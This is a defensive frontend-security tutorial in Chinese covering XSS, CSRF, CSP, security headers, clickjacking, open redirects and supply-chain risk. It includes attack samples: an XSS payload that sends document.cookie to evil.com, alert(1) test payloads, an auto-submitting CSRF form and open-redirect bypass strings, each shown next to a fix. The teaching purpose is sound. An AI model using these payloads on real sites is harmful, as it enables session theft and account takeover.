12

安全

1,759 行约 95 分钟58 个代码块54 张表格更新于 2026-11-03

12 · 安全(详解版)

一句话定位:前端安全的核心不是「加个加密」,而是不信任任何输入、不给攻击者执行代码的机会、不把敏感能力暴露给浏览器。

读完本篇你应该能做到

  1. 说清 XSS、CSRF、点击劫持、开放重定向的原理、绕过手法与防线边界;
  2. 独立配置 CSP、Cookie 属性与安全响应头,并能解释每条头挡住了什么;
  3. 识别供应链与第三方脚本风险,做出可解释的取舍与退出方案;
  4. 把安全做成流程(威胁建模、门禁、监控、应急),而不是一次性的补丁。

0. 领域导论

0.1 这个领域解决什么问题

事件根因类别
用户昵称里写入 <img onerror=...>,访问者 Cookie 被窃直接把用户输入拼进 HTMLXSS
攻击者诱导已登录用户访问恶意页,自动发起转账请求自动携带 Cookie,服务端无法区分来源CSRF
引入一个同名恶意 npm 包,构建时窃取环境变量依赖名拼写错误 / 投毒供应链
页面被嵌进钓鱼站,用户以为在操作真站未设置 X-Frame-Options / frame-ancestors点击劫持
登录后跳转到 ?redirect=//evil.com未校验跳转白名单开放重定向
用户 A 改 URL 里的订单号,看到用户 B 的订单只在前端做权限判断越权(IDOR)
线上源码与接口地址出现在公开 sourcemap 里构建产物未排除信息泄露

安全的特殊性:它的失败不会在日常测试中暴露。功能全对,但只要有一个人输入了恶意内容,所有访问者都受影响;而攻击者只需要找到一个入口。

三条必须先建立的认知:

  1. 前端的所有校验都是「体验优化」,不是安全边界。请求可以被直接构造,服务端必须重新校验。
  2. 浏览器是攻击者的执行环境。只要能让它执行一段脚本,同源内的一切(DOM、存储、请求)都可以被操控。
  3. 安全是概率与成本的博弈。目标不是「绝对安全」,而是「让攻击成本高于收益,并把影响面控制在可接受范围」。

0.2 一个类比

把 Web 应用想成一栋楼:

  • 同源策略是楼里的分区门禁:不同公司(源)之间不能随便串门,但门禁只认「牌子」,不认「人」。
  • XSS 是有人把一张伪造的工牌贴在你身上,让你以「自己人」的身份执行他的命令。你已经在大楼里了,所有门都为你打开。
  • CSRF 是有人拿着你的工牌复印件去办事——门禁认牌不认人。攻击者不需要进你的办公室,只要让「你的牌子」刷一次。
  • CSP 是白名单:只允许名单上的工人进入施工。名单外的工具进不来,但已被允许的工具被掉包仍会出问题。
  • 供应链是建材采购:水泥里掺了东西,楼盖得再标准也没用。
  • HTTPS 是押运车:路上不被偷看与调包,但货物本身有毒它管不了。

核心心法:输入不可信、输出要编码、权限在服务端、能力要最小化。

0.3 学习地图

12 安全
  ├─ 前置:01 HTML(解析)、05 浏览器(同源/存储)、10 网络(CORS/Cookie)
  ├─ 紧接:13 测试(安全测试)、18 可观测(异常检测)
  ├─ 交叉:09 构建(供应链)、14 BFF(服务端防线)
  └─ 长期:17 架构(安全架构与合规)

与本套其他篇章的分工:

篇章负责回答本篇如何引用
05 浏览器同源策略、存储、进程隔离本篇只谈「用它挡什么」
10 网络CORS、Cookie 传输、TLS本篇谈「配置的安全含义」
14 BFF服务端校验、鉴权本篇谈「前端不能替代什么」
09 工程化依赖与构建本篇谈「供应链与产物泄漏」

0.4 分级标尺

级别能力特征典型产出自检标准
L1 基础知道 XSS/CSRF,会转义与配 Cookie安全编码能说出输入在哪被转义、Cookie 属性各挡什么
L2 进阶会配 CSP、安全头、依赖审计安全配置清单能解释每条头的用途与边界
L3 高级懂绕过与纵深防御、供应链治理安全方案、SDK、检测规则能对攻击面建模并给出降级路径
L4 专家建 SDL、合规与应急体系安全规范、演练、度量能对风险定级与资源分配负责

升级判定:L1 会「照做」;L2 能解释「为什么」;L3 能回答「如果这层被绕过,还剩什么」;L4 能回答「投入多少、放弃什么、出事怎么办」。


1. L1 基础:三类高频攻击

1.1 XSS:让别人的浏览器执行你的代码

1.1.1 三类 XSS 的注入路径

// ❌ 直接拼接用户输入
commentList.innerHTML = `<div class="comment">${userInput}</div>`;

// 攻击者输入:
// <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
类型入口是否落库特点典型场景
存储型用户输入被保存后展示是影响所有访问者,危害最大评论、昵称、工单、文件名
反射型URL/表单参数被直接回显否需要诱导点击,常配合钓鱼搜索词回显、错误页、登录回跳
DOM 型前端 JS 把不可信数据写入 DOM否不经过服务端,WAF 难发现innerHTML、location、eval
突变型(mXSS)浏览器解析后结构变化视情况消毒后再次解析才触发富文本、innerHTML 反复读写
// DOM 型:数据从 URL 进入,直接被写入
const keyword = new URLSearchParams(location.search).get('q');
result.innerHTML = `搜索:${keyword}`; // ❌ 可注入

为什么 DOM 型难防:请求里看不到恶意内容(可能在 #hash 里),服务端日志干净,WAF 无法匹配;只有在前端代码里做输出编码才能解决。

1.1.2 输出上下文与编码规则

同一个字符串,放在不同位置需要不同的处理。「统一转义」是最常见的错误。

上下文示例正确处理
HTML 文本<div>${x}</div>转义 & < > " '
HTML 属性<div title="${x}">引号包裹 + 转义引号与 &
URL 参数<a href="/s?q=${x}">encodeURIComponent + 协议校验
JS 字符串<script>var a="${x}"</script>序列化为 JSON,不要拼接
CSSstyle="color:${x}"白名单枚举,禁止自由输入
HTML 注释<!-- ${x} -->不允许用户输入进入
/**
 * 按 HTML 文本上下文转义。
 * 注意:这只适用于「文本节点」,不能用于属性、URL、JS 上下文。
 * @param {string} input 不可信字符串
 * @returns {string} 转义后的字符串
 */
export function escapeHtml(input) {
  const map = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' };
  return String(input).replace(/[&<>"']/g, (ch) => map[ch]);
}

/**
 * 安全的站内跳转:只允许相对路径,拒绝 // 与伪协议。
 * @param {string} target 用户提供的地址
 * @param {string} fallback 兜底地址
 */
export function safeRedirect(target, fallback = '/') {
  if (!target) return fallback;
  if (!target.startsWith('/') || target.startsWith('//')) return fallback;
  if (/^\/\\/.test(target)) return fallback; // 处理 /\evil.com
  return target;
}

一个容易忽略的坑:属性值不加引号时,空格就能截断属性,<div class=${x}> 里输入 a onmouseover=alert(1) 即可注入。所有属性值都必须加引号。

1.1.3 危险 API(sink)清单

API / 属性风险安全替代
innerHTML / outerHTML解析并执行textContent
insertAdjacentHTML同上创建节点 + append
document.write / writeln可覆盖整页、阻塞解析不要用
eval / new Function任意代码执行数据驱动,别执行字符串
setTimeout(string) / setInterval(string)隐式 eval传函数
element.setAttribute('onclick', x)事件属性执行addEventListener
location = x / location.href = xjavascript: 伪协议校验协议 + 白名单
a.href = x同上同上
iframe.srcdoc = x可注入 HTML消毒 + sandbox
script.src = x加载任意脚本固定域名白名单
Worker(x) / import(x)动态执行固定 URL,不接受用户输入
React dangerouslySetInnerHTML显式绕过转义消毒后再用
Vue v-html同上消毒后再用
Angular bypassSecurityTrustHtml同上尽量避免

审计方法:全局搜索上述 API,逐个确认「数据来源是否可信」。可以用 ESLint 规则把高风险 API 设为 error(见 4.2)。

1.1.4 富文本:白名单净化

富文本不能简单转义(会丢掉排版),也不能只用黑名单(绕过方式太多),正确做法是解析后按白名单重建。

import DOMPurify from 'dompurify';

/**
 * 富文本消毒:只保留安全标签与属性,链接强制加 rel。
 * 说明:DOMPurify 依赖浏览器解析器,行为比正则可靠。
 * @param {string} dirty 不可信 HTML
 * @returns {string} 安全 HTML
 */
export function sanitizeRichText(dirty) {
  const clean = DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote'],
    ALLOWED_ATTR: ['href', 'title', 'rel', 'target'],
    ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
    FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed', 'form', 'input'],
    FORBID_ATTR: ['style', 'srcset', 'onerror', 'onload'],
  });

  // 二次加固:所有外链加 noopener,避免 window.opener 被劫持
  const doc = new DOMParser().parseFromString(clean, 'text/html');
  doc.querySelectorAll('a[href]').forEach((a) => {
    a.setAttribute('rel', 'noopener noreferrer nofollow');
    a.setAttribute('target', '_blank');
  });
  return doc.body.innerHTML;
}
方案安全性说明
黑名单过滤 <script>低大小写、命名空间、事件属性都能绕过
正则替换标签低HTML 容错解析会产生意外结构
白名单 + 解析器(DOMPurify)高主流方案,仍需关注 CVE 与配置
服务端渲染为纯文本最高不支持富文本排版
结构化编辑器(JSON 文档模型)高从源头不产生 HTML,成本高但最稳

mXSS(突变型 XSS):某些 HTML 在第一次解析时看起来安全,序列化后再解析却产生可执行结构。防御方式是「不要反复 innerHTML 读写」;必须读写时,每次都重新消毒。

1.1.5 框架提供的边界与盲区

框架默认安全风险点
ReactJSX 插值自动转义dangerouslySetInnerHTML、href={userInput}
Vue模板插值自动转义v-html、v-bind:href
Angular模板转义 + 消毒bypassSecurityTrust*、innerHTML 绑定
Svelte插值转义{@html}
原生 DOM无全部 API 需自己处理

框架挡不住的三件事:

  1. 属性里的 URL:<a href={userInput}> 仍然可以放 javascript:;
  2. 服务端拼好的 HTML:接口返回一段 HTML 直接塞进 dangerouslySetInnerHTML;
  3. 第三方库的 DOM 操作:图表、编辑器、地图库内部可能用 innerHTML。

1.1.6 常见坑与验证

坑后果修复
只转义 < 和 >引号逃逸出属性按上下文完整转义
先 decodeURIComponent 再插入双重解码绕过只解码一次,输出时再编码
用 escape() / unescape()已废弃且不可靠用标准编码函数
富文本只在服务端过滤其他客户端可绕过双端都做,前端用白名单
过滤后直接 innerHTMLmXSS每次写入都消毒
把用户输入拼进 styleCSS 注入、数据外带白名单枚举

怎么验证:

// 1) 用无害 payload 自测(不要在生产环境执行)
const payloads = [
  '<img src=x onerror=alert(1)>',
  '"><svg onload=alert(1)>',
  'javascript:alert(1)',
  '<a href="javascript:alert(1)">x</a>',
];

// 2) 检查页面里是否存在未转义的注入点
document.querySelectorAll('[onerror],[onload]').length;

更系统的做法是接入自动化扫描(如 OWASP ZAP)与安全团队的渗透测试。

1.2 CSRF:借用你的登录态

1.2.1 攻击模型

1. 用户登录 bank.com,浏览器存了 Cookie(HttpOnly,JS 读不到)
2. 用户在同一浏览器访问 evil.com
3. evil.com 自动提交表单到 bank.com/transfer
        <form action="https://bank.com/transfer" method="POST">
          <input name="to" value="attacker">
          <input name="amount" value="10000">
        </form>
        <script>document.forms[0].submit()</script>
4. 浏览器自动带上 bank.com 的 Cookie
5. 服务端认为「是本人操作」,转账成功

关键点:攻击者不需要读到响应,只要请求发生就够。所以「跨域读不到响应」并不构成防护。

Cookie 的发送规则只看「目标域名 + Path + Secure + SameSite」,与「请求由谁发起」无关。这是 Web 的设计基础(否则每个站内请求都要手动带凭证),也是 CSRF 的根源。

请求发起方:evil.com
目标:      bank.com
Cookie 是否携带?取决于:
  ├─ Domain/Path 是否匹配
  ├─ Secure 是否满足
  └─ SameSite 是否允许跨站

1.2.3 SameSite 的三档与例外

值跨站子资源跨站顶层导航同站说明
Strict不带不带带最严,但从外部链接进入会显示未登录
Lax(现代默认)不带GET 带带平衡体验与安全
None带带带必须配 Secure,用于跨站嵌入

「站」的判定:scheme + eTLD+1,不含端口与子域。所以:

  • https://a.example.com 与 https://b.example.com 是同站,SameSite 不拦;
  • http://example.com 与 https://example.com 是跨站(scheme 不同);
  • https://foo.github.io 与 https://bar.github.io 是跨站(公共后缀列表)。

两个例外要知道:

  1. Lax + POST 的 2 分钟窗口:Chrome 对「刚设置的 Cookie」在 2 分钟内允许跨站 POST 携带,用于兼容旧站点。安全敏感场景不能依赖这个行为。
  2. 顶层 GET 导航会带 Lax Cookie:所以写操作绝不能用 GET。

1.2.4 Token 方案:同步令牌与双提交

/**
 * 双提交 Cookie:服务端把随机 token 同时写入 Cookie 与响应体/页面,
 * 前端读取后放进请求头,服务端比对两者。
 * 攻击者能发起请求,但读不到 Cookie(同源策略),也设不了自定义头。
 */
export async function postWithCsrf(url, body) {
  const token = document.cookie
    .split('; ')
    .find((row) => row.startsWith('csrf_token='))
    ?.split('=')[1];

  return fetch(url, {
    method: 'POST',
    credentials: 'include',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': token ?? '',
    },
    body: JSON.stringify(body),
  });
}
方案原理优点注意
同步令牌服务端把 token 嵌进页面,随请求提交最可靠需要模板渲染,前后端分离时麻烦
双提交 CookieCookie 与请求头各一份,服务端比对无状态,易扩展需要防子域覆盖 Cookie(用 __Host- 前缀)
自定义头 + CORS 预检简单请求不能带自定义头,预检可拦成本低依赖 CORS 配置正确
Origin 校验比对 Origin/Referer兜底部分场景可能没有该头
Set-Cookie: __Host-csrf_token=abc123; Secure; Path=/; SameSite=Lax

__Host- 前缀要求:Secure + Path=/ + 不设 Domain,可以防止子域写入同名 Cookie 覆盖。

1.2.5 Origin / Referer 校验

/**
 * 服务端兜底:只接受来自白名单 Origin 的写请求。
 * 注意:部分请求可能没有 Origin(如旧客户端),需结合 Token。
 * @param {Request} req
 */
export function assertSameOrigin(req) {
  const origin = req.headers.get('origin');
  const allowed = new Set(['https://app.example.com', 'https://admin.example.com']);
  if (!origin || !allowed.has(origin)) {
    throw new Error('非法来源');
  }
}

为什么只能当兜底:Origin 在部分跨站场景会被省略,Referer 可被策略裁剪;单靠它容易被误判或绕过。

1.2.6 常见坑

坑后果修复
写操作用 GET顶层导航即可触发一律用 POST/PUT/DELETE
只依赖 SameSite=Lax顶层 GET、同站子域仍可被利用叠加 Token 与 Origin 校验
Token 放在 URL泄漏到日志与 Referer放请求头或表单体
Token 可预测直接被猜中密码学随机(≥128 位)
登录接口无 CSRF 防护登录 CSRF(诱导登录攻击者账号)登录也要 Token
跨域带 Cookie 配置成 *凭证泄漏给任意源精确 Origin + Allow-Credentials

1.3 敏感信息:前端能做的和不能做的

1.3.1 一条铁律:前端不保存秘密

凡是被浏览器执行/渲染的东西,用户都能看到。
打包产物、环境变量、源码注释、接口地址、密钥——全部可见。
做法是否有效说明
前端加密密码再传有限只是把明文变固定密文,仍可重放;必须靠 HTTPS
把 token 放 localStorage有风险XSS 可直接读取
把 token 放 HttpOnly Cookie更稳XSS 读不到,但要防 CSRF
在前端存密钥(API Key/私钥)无效打包产物人人可见
用 base64 编码敏感数据无效不是加密
在注释里写内部地址无效注释会被打包保留(视配置)

1.3.2 Token 存储位置的真实取舍

存储位置XSS 风险CSRF 风险跨域携带适合
localStorage高(可直接读)无(不自动带)需手动加头短期体验优先的内部系统
sessionStorage高无同标签页同上
内存变量中(刷新丢失)无手动短生命周期 token
HttpOnly Cookie低高(需防护)自动大多数 Web 应用
HttpOnly + SameSite=Strict低低跨站不带安全优先、可接受体验损失

没有「绝对安全」的选项,只有「把风险放在哪」的选择。主流选择是 HttpOnly Cookie + CSRF 防护,因为它把「读取」的风险转成了「伪造请求」的风险,而后者有成熟解法。

1.3.3 前端加密的三个误区

❌ 「密码 RSA 加密后再传,就安全了」
   → 公钥在前端可见,密文可被重放;中间人仍能劫持会话
✅ HTTPS + 服务端加盐哈希(bcrypt / argon2 / scrypt)

❌ 「数据 Base64 了,用户看不懂」
   → 编码不是加密,一行代码就能还原

❌ 「把接口参数签名放在前端,就防篡改」
   → 签名密钥在前端可见,攻击者可自己签名

唯一例外:端到端加密产品(如密码管理器)里,密钥由用户口令派生且不上传,此时前端加密是产品设计的一部分,不是传输层安全的替代。

1.3.4 信息泄漏的四个渠道

渠道泄漏内容处理
sourcemap 公开源码、注释、接口地址生产环境关闭或上传到私有平台
错误上报堆栈、参数、用户标识脱敏后再上报
日志与埋点手机号、身份证、地址字段级脱敏、哈希
接口返回冗余字段内部 ID、权限位、其他用户数据服务端按需返回(DTO)
/**
 * 上报前脱敏:手机号、邮箱、身份证只保留可识别片段。
 * @param {Record<string, unknown>} data
 */
export function maskSensitive(data) {
  const text = JSON.stringify(data);
  return text
    .replace(/(1[3-9]\d)\d{4}(\d{4})/g, '$1****$2')
    .replace(/([\w.+-]{1,2})[\w.+-]*(@[\w-]+\.[\w.]+)/g, '$1***$2')
    .replace(/(\d{6})\d{8}(\d{4})/g, '$1********$2');
}

1.3.5 常见坑

坑后果修复
.env 里的密钥被打进前端包密钥公开只暴露 PUBLIC_/VITE_ 前缀,其余留在服务端
生产 sourcemap 可公开访问源码泄漏上传到私有服务或关闭
错误堆栈带请求体用户数据进日志白名单字段上报
前端隐藏按钮当权限控制接口仍可调用服务端鉴权
URL 里放 token进浏览器历史与 Referer放请求头

1.4 HTTPS 与混合内容

<!-- HTTPS 页面里加载 HTTP 资源会被浏览器拦截 -->
<script src="http://cdn.example.com/lib.js"></script> <!-- 被拦 -->
问题表现处理
混合内容(active)脚本/iframe 被拦截全部改 HTTPS
混合内容(passive)图片自动升级或拦截同上
证书过期整站不可用到期监控 + 自动续期
HSTS 误配无法回退到 HTTP先在测试域验证,逐步加 max-age
自签名证书用户看到警告不要用于生产
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

HSTS 的代价:一旦下发,浏览器在 max-age 内强制 HTTPS,回退很麻烦。上线顺序应该是:

1. 先设 max-age=300(5 分钟)验证
2. 逐步提升到 1 天、1 个月、1 年
3. 最后才考虑 preload(进入浏览器内置列表,几乎不可逆)

1.5 L1 小结与自检

主题关键结论
XSS按上下文编码 + 白名单消毒 + CSP 兜底
CSRFSameSite + Token + Origin 校验,写操作不用 GET
敏感信息前端不存秘密,HTTPS 是底线
危险 APIinnerHTML/eval/javascript: 是主要入口
泄漏渠道sourcemap、错误上报、日志、冗余字段

自检题

  1. 为什么 textContent 比 innerHTML 安全?——它把内容当纯文本节点插入,不解析标签与事件属性;innerHTML 会解析 HTML 并执行内联事件或脚本。
  2. SameSite 能完全防住 CSRF 吗?为什么?——不能。Lax 仍允许顶层 GET 导航携带 Cookie,同站子域不受限,旧浏览器也可能不识别;需要配合同步令牌或 Origin 校验。
  3. 前端加密密码为什么不能替代 HTTPS?——密钥在前端可见,攻击者可截获或篡改页面;HTTPS 保护传输与完整性,服务端仍需加盐哈希存储。
  4. 为什么「跨域读不到响应」不等于 CSRF 安全?——CSRF 只需要请求发生,不需要读取响应;转账、改密码这类操作在请求到达时就已生效。
  5. 富文本为什么必须用白名单而不是黑名单?——HTML 解析容错、命名空间、事件属性、编码变体让黑名单几乎无法穷举;白名单从「允许什么」出发,未列出的全部拒绝。

2. L2 进阶:CSP 与安全头

2.1 CSP:给浏览器一张白名单

2.1.1 指令体系

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com wss://ws.example.com;
  frame-src 'self' https://pay.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  object-src 'none';
  upgrade-insecure-requests;
指令管什么建议漏配的后果
default-src未单独声明的资源兜底'self'其他指令缺失时无兜底
script-src脚本来源禁 'unsafe-inline'/'unsafe-eval'XSS 可直接执行
script-src-attr内联事件属性'none'onclick="..." 可执行
style-src样式来源尽量不用 'unsafe-inline'CSS 注入、数据外带
img-src图片来源只放可信 CDN图片探测内网、像素追踪
connect-srcfetch/XHR/WebSocket精确到接口域名数据被外发
frame-src可嵌入的 iframe白名单嵌入恶意页面
frame-ancestors谁能嵌我'none' 或白名单点击劫持
base-uri<base> 标签'self'相对路径被劫持到攻击域
form-action表单提交目标'self'表单数据被发到外部
object-srcFlash/插件'none'历史插件漏洞
upgrade-insecure-requests自动升级 HTTP 资源建议开启混合内容

default-src 不是万能的:frame-ancestors、base-uri、form-action 不会从 default-src 继承,必须显式写。

2.1.2 nonce、hash 与 strict-dynamic

方式适用优点缺点
'nonce-xxx'服务端渲染的页面每次请求随机,攻击者无法预测需要动态渲染,静态页面难用
'sha256-xxx'固定的内联脚本可静态生成脚本一改哈希就变
'strict-dynamic'现代应用允许受信脚本动态加载的脚本执行,忽略域名白名单旧浏览器不认识,需要回退列表
<!-- 服务端每次响应生成新 nonce,并写进 CSP 头 -->
<script nonce="r4nd0m">/* 允许执行 */</script>
<script src="/app.js" nonce="r4nd0m"></script>

nonce 的三个必须:

  1. 每次响应随机生成(密码学随机,至少 128 位);
  2. 不能复用、不能写死、不能出现在缓存页面里;
  3. 只给确实需要的内联脚本加,不要给所有标签批量加。

strict-dynamic 的取舍:它让「受信脚本加载的脚本」也受信,解决了第三方库动态插入脚本的问题;代价是「受信脚本」一旦被攻破,其加载的任意脚本都可执行。所以它依赖「脚本本身可信」,而不是「域名可信」。

2.1.3 上线路径:先观察,再强制

第 1 周:Content-Security-Policy-Report-Only,收集违规
第 2–3 周:按指令聚合违规,修内联脚本、补白名单、处理第三方
第 4 周:小流量强制(按域名/用户分桶)
第 5 周:全量强制,保留 report-uri 监控
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report
/**
 * 前端也能监听违规(部分浏览器支持),便于本地调试。
 * 生产环境建议用 report-uri/report-to 由服务端收集。
 */
document.addEventListener('securitypolicyviolation', (e) => {
  console.warn('[CSP]', {
    blocked: e.blockedURI,
    directive: e.violatedDirective,
    disposition: e.disposition,
  });
});

2.1.4 「配了但没生效」的六种原因

原因表现排查
头被覆盖有多个 CSP 头,浏览器取交集(更严)看 Network 响应头的全部 CSP
写在 <meta> 里frame-ancestors、report-uri 不生效改用响应头
被 CDN/网关改写本地生效、线上不生效对比本地与线上响应头
unsafe-inline 还在内联脚本照常执行检查是否误留
页面有多个 CSP 来源一个来自应用、一个来自网关逐个核对
缓存了旧策略改了头但行为没变强刷、检查缓存键

2.1.5 已知绕过手法

绕过原理缓解
JSONP 端点白名单域名上的 JSONP 可回显脚本不用 JSONP,或加 callback 白名单
可控上传的 CDN白名单域名能上传 HTML/JS上传域名与静态域名分离
Angular 类库 gadget允许的库可被模板注入利用升级库、限制 unsafe-eval
base-uri 未限制相对路径脚本被劫持显式 base-uri 'self'
DOM clobbering利用 id/name 覆盖全局变量代码中避免依赖全局 id
unsafe-eval字符串转代码移除,换实现
服务端注入的 noncenonce 被回显到可控位置nonce 只在服务端模板生成

结论:CSP 是「降低影响面」的手段,不是「消除 XSS」的保证。它必须与输出编码、消毒、Trusted Types 叠加。

2.2 安全响应头清单

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Resource-Policy: same-origin
头防什么注意
HSTS降级到 HTTP、SSL 剥离一旦 preload 很难回退
nosniffMIME 嗅探导致脚本执行与正确的 Content-Type 配合
X-Frame-Options点击劫持现代用 frame-ancestors 更灵活
Referrer-PolicyURL 敏感信息泄漏太严会影响分析,太松会泄漏路径
Permissions-Policy第三方滥用摄像头/定位按需开启,默认全关
COOP跨窗口引用(window.opener)same-origin 可隔离攻击面
COEP跨源资源加载require-corp 会让未声明 CORP 的资源失败
CORP资源被跨站读取静态资源按需设置

X-XSS-Protection 不要再依赖:它已被主流浏览器移除或默认关闭,配置反而可能引入漏洞。

COOP/COEP 的代价:开启后页面进入「跨源隔离」,才能用 SharedArrayBuffer 与高精度计时;但嵌入的第三方资源必须带 CORP 或 CORS 头,否则加载失败。上线前要盘点所有第三方资源。

Set-Cookie: __Host-sid=abc; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
属性作用遗漏后果
HttpOnlyJS 不可读XSS 直接偷走会话
Secure仅 HTTPS 发送明文网络被截获
SameSite限制跨站携带CSRF
Path/Domain作用范围泄露到不相关子域

Cookie 前缀:

前缀强制要求作用
__Secure-必须 Secure防止在不安全连接上设置
__Host-Secure + Path=/ + 无 Domain防止子域覆盖,适合会话与 CSRF Token

Domain 的坑:Domain=.example.com 会让所有子域共享 Cookie。任何一个子域被攻破(或被第三方托管),都能读写这份 Cookie。会话 Cookie 尽量不设 Domain。

第三方 Cookie 的收紧:主流浏览器正在限制第三方 Cookie(CHIPS 分区、默认拦截)。跨站嵌入的场景要提前验证,不要假设 SameSite=None 一定可用。

2.4 点击劫持与 iframe 安全

2.4.1 攻击原理

攻击者页面
┌──────────────────────────────┐
│  「恭喜中奖,点击领取」        │
│  ┌────────────────────────┐  │
│  │  真实站点(透明 iframe) │  │
│  │  [确认转账] 按钮        │  │
│  └────────────────────────┘  │
└──────────────────────────────┘
用户以为点的是「领取」,实际点到 iframe 里的「确认」

2.4.2 防御

X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
方案粒度建议
X-Frame-Options: DENY完全禁止不需要被嵌的页面
X-Frame-Options: SAMEORIGIN同源可嵌内部系统
frame-ancestors 'none'完全禁止推荐,现代标准
frame-ancestors https://a.com白名单需要被指定站点嵌入

两者同时设置时,浏览器按更严格的执行;新项目直接用 frame-ancestors。

补充手段:对关键操作要求二次确认(输入密码、短信验证),即使被点击劫持也无法完成;但这是兜底,不是替代。

2.4.3 嵌入第三方时的 sandbox

<iframe
  src="https://widget.example.com"
  sandbox="allow-scripts"
  referrerpolicy="no-referrer"
  loading="lazy"
  title="第三方组件"
></iframe>
sandbox 令牌放开什么风险
allow-scripts执行 JS中(通常是必需的)
allow-same-origin保留源,可访问 Cookie/存储高,与 allow-scripts 同开等于沙箱失效
allow-forms提交表单中
allow-popups打开新窗口中(可配合 noopener)
allow-top-navigation导航顶层页面高(可劫持整页)
allow-modalsalert/confirm低

关键组合:sandbox="allow-scripts allow-same-origin" 在同源 iframe 上会让脚本可以移除 sandbox 属性,等于没隔离。能不给 allow-same-origin 就不给。

2.5 postMessage:跨窗口通信的唯一正道

/**
 * 发送:必须指定目标源,不要用 '*'。
 * @param {Window} target 目标窗口
 * @param {object} data 数据(结构化克隆)
 */
targetWindow.postMessage({ type: 'ORDER_CREATED', id: '123' }, 'https://app.example.com');

/**
 * 接收:必须校验 origin 与数据结构。
 */
window.addEventListener('message', (event) => {
  if (event.origin !== 'https://app.example.com') return;
  const data = event.data;
  if (typeof data !== 'object' || data?.type !== 'ORDER_CREATED') return;
  handleOrder(data.id);
});
错误做法后果
postMessage(data, '*')任何嵌入方都能收到,数据泄漏
不校验 event.origin任意页面可注入消息
直接 eval(event.data)远程代码执行
相信 event.source可被伪造的窗口引用误导
传输 DOM 节点/函数结构化克隆会失败或丢语义

传输大数据的注意:postMessage 使用结构化克隆,大对象会产生拷贝成本;可用 Transferable(ArrayBuffer)实现零拷贝。

2.6 开放重定向与 URL 注入

// ❌ 直接跳转用户传入的地址
location.href = params.get('redirect');

// ✅ 白名单 + 只允许站内相对路径
function safeRedirect(target, fallback = '/') {
  if (!target) return fallback;
  if (!target.startsWith('/') || target.startsWith('//')) return fallback;
  if (target.includes('\\')) return fallback; // 处理 /\evil.com
  try {
    const url = new URL(target, location.origin);
    if (url.origin !== location.origin) return fallback;
    return url.pathname + url.search + url.hash;
  } catch {
    return fallback;
  }
}

常见绕过:

payload原理
//evil.com协议相对 URL
/\evil.com浏览器把反斜杠当斜杠
https:/evil.com少一个斜杠,部分解析器补全
javascript:alert(1)伪协议
%2F%2Fevil.com编码后二次解析
https://app.example.com@evil.comuserinfo 混淆

防御原则:不要「校验是否包含 evil」,而是「只允许明确的站内路径」;跳转前用 URL 解析并比对 origin。

2.7 依赖与第三方脚本

2.7.1 供应链的五类风险

风险例子防护
拼写抢注(typosquatting)lodahs 冒充 lodash包名复核、私有源、安装前审查
依赖混淆内部包名被公共源抢注作用域包 + 私有 registry 优先
维护者账号被盗发布带后门的新版本锁文件 + 延迟升级 + 行为审计
postinstall 脚本安装时执行任意代码--ignore-scripts、沙箱安装
CDN 脚本被篡改第三方 SDK 被替换SRI + 自托管 + CSP
# 安装时禁用生命周期脚本,避免 postinstall 执行
pnpm install --frozen-lockfile --ignore-scripts

# 审计生产依赖
pnpm audit --prod

2.7.2 SRI:给外部脚本一个指纹

<script
  src="https://cdn.example.com/sdk-1.2.3.min.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
  crossorigin="anonymous"
></script>
注意说明
必须配 crossorigin否则跨域脚本无法做完整性校验
版本要固定用带版本号的 URL,不要 latest
更新要同步脚本升级必须更新哈希,否则加载失败
动态插入的脚本需要手动设置 integrity 属性

SRI 防的是「CDN 内容被篡改」,防不住「上游包本身有后门」。后者要靠依赖审计与来源可信。

2.7.3 第三方脚本的接入规范

1. 准入:登记负责人、用途、域名、体积预算、数据范围
2. 加载:async/defer,延后到首屏后;能按需加载就不首屏加载
3. 隔离:能放 iframe 就放 iframe(sandbox);同页执行的限定命名空间
4. 监控:加载失败率、长任务占比、错误归属、外发请求域名
5. 退出:独立开关,能不发版直接下线

为什么要有「退出」:第三方脚本出问题时,最快的处置不是改代码,而是把一个开关关掉。没有开关的接入,等于把故障恢复时间交给发布流程。

2.8 文件上传与内容处理

风险场景防护
上传可执行文件.html、.svg、.js类型白名单 + 服务端重命名
MIME 嗅探图片实际是 HTMLX-Content-Type-Options: nosniff
直接回源展示用户访问上传目录执行脚本独立域名 + Content-Disposition: attachment
图片藏脚本SVG 内嵌 <script>服务端重新编码为位图,或不内联 SVG
压缩炸弹解压后超大限制解压后大小与层级
路径穿越文件名含 ../服务端生成文件名,不信任原文件名
/**
 * 前端只做「体验层」校验,服务端必须重复校验。
 * @param {File} file
 */
export function validateUpload(file) {
  const ALLOWED = new Set(['image/png', 'image/jpeg', 'image/webp']);
  const MAX_SIZE = 5 * 1024 * 1024;

  if (!ALLOWED.has(file.type)) throw new Error('不支持的文件类型');
  if (file.size > MAX_SIZE) throw new Error('文件过大');
  if (file.name.includes('..')) throw new Error('非法文件名');
  return true;
}
Content-Type: image/webp
Content-Disposition: attachment; filename="a1b2c3.webp"
X-Content-Type-Options: nosniff

